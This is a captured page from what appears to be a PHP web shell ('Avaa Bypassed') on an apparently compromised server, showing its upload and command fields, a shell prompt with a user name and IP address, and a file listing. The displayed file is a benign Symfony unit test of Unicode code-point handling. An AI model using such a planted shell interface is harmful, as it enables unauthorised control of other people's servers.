404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.21.105.46: ~ $
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\String\Tests;

use Symfony\Component\String\AbstractString;
use Symfony\Component\String\CodePointString;

class CodePointStringTest extends AbstractUnicodeTestCase
{
    protected static function createFromString(string $string): AbstractString
    {
        return new CodePointString($string);
    }

    public static function provideLength(): array
    {
        return array_merge(
            parent::provideLength(),
            [
                // 8 instead of 5 if it were processed as a grapheme cluster
                [8, 'अनुच्छेद'],
            ]
        );
    }

    public static function provideBytesAt(): array
    {
        return array_merge(
            parent::provideBytesAt(),
            [
                [[0x61], "Spa\u{0308}ßchen", 2],
                [[0xCC, 0x88], "Spa\u{0308}ßchen", 3],
                [[0xE0, 0xA5, 0x8D], 'नमस्ते', 3],
            ]
        );
    }

    public static function provideCodePointsAt(): array
    {
        return array_merge(
            parent::provideCodePointsAt(),
            [
                [[0x61], "Spa\u{0308}ßchen", 2],
                [[0x0308], "Spa\u{0308}ßchen", 3],
                [[0x094D], 'नमस्ते', 3],
            ]
        );
    }
}

Filemanager

Name Type Size Permission Actions
Inflector Folder 0755
Slugger Folder 0755
AbstractAsciiTestCase.php File 50.89 KB 0644
AbstractUnicodeTestCase.php File 18.54 KB 0644
ByteStringTest.php File 2.97 KB 0644
CodePointStringTest.php File 1.56 KB 0644
FunctionsTest.php File 2.2 KB 0644
LazyStringTest.php File 3.79 KB 0644
SluggerTest.php File 4.18 KB 0644
UnicodeStringTest.php File 9.34 KB 0644